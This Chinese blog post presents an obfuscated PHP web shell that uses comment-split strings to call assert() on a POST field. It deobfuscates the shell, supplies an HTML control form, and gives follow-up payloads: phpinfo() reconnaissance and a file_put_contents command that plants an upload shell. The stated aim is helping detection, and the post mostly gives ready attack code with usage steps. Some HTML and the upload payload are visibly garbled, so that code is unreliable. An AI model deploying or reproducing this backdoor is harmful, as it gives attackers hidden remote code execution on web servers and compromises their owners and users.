代码简短且隐蔽的后门木马

本文将介绍一个代码很简短,而且很隐蔽后门木马,以便让大家在检测程序时可以避免被挂木马。

文件内容如下:

$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

代码中插入了很多注释符,服务器的检测程序如果不严谨很难检测到。

把注释符删除后,代码如下:


@$_="s"."s"."e"."r";
@$_="a".$_."t";
@$_(${"_P"."OS"."T"}
[0-2-5]);
?>

最后实际执行的代码内容为:


assert(${"_POST"}[-7]);
?>

原来这个后门是利用了php assert方法来执行程序。

bool assert ( mixed $assertion [, string $description ] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

如果$assertion的内容为phpinfo(); 则会把服务器的信息返回,使攻击者能获取到服务器信息对此攻击。

上传了这个后门程序后,攻击者只需要创建一个简单的html就可以在服务器中执行php语句。
假设后门文件是backdoor.php


<html>
 <head>
  <title> back door title>
 head>

 <body>
    <form name="form1" method="post" action="http://www.example.com/backdoor.php">
    <p><textarea name="-7" style="width:500px; height:300px">textarea>p>
    <p><input type="submit" value="submit">p>
    form>
 body>
html>



攻击方式:
1.获取服务器信息可输入

phpinfo();

2.创建一个可随便上传文件的php可输入

file_put_contents('hack.php', 'name\'][\'tmp_name\'], dirname(__FILE__).\'/dest.php\');?>' ,true);

然后创建一个上传文件的html调用hack.php


<html>
 <head>
  <title> upload title>
 head>

 <body>
    <form name="form1" method="post" action="http://www.example.com/hack.php" enctype="multipart/form-data">
    <p><input type="file" name="name">p>
    <p><input type="submit" value="submit">p>
    form>
 body>
html>

之后便可随意上传php文件执行了。

你可能感兴趣的:(站点安全,php)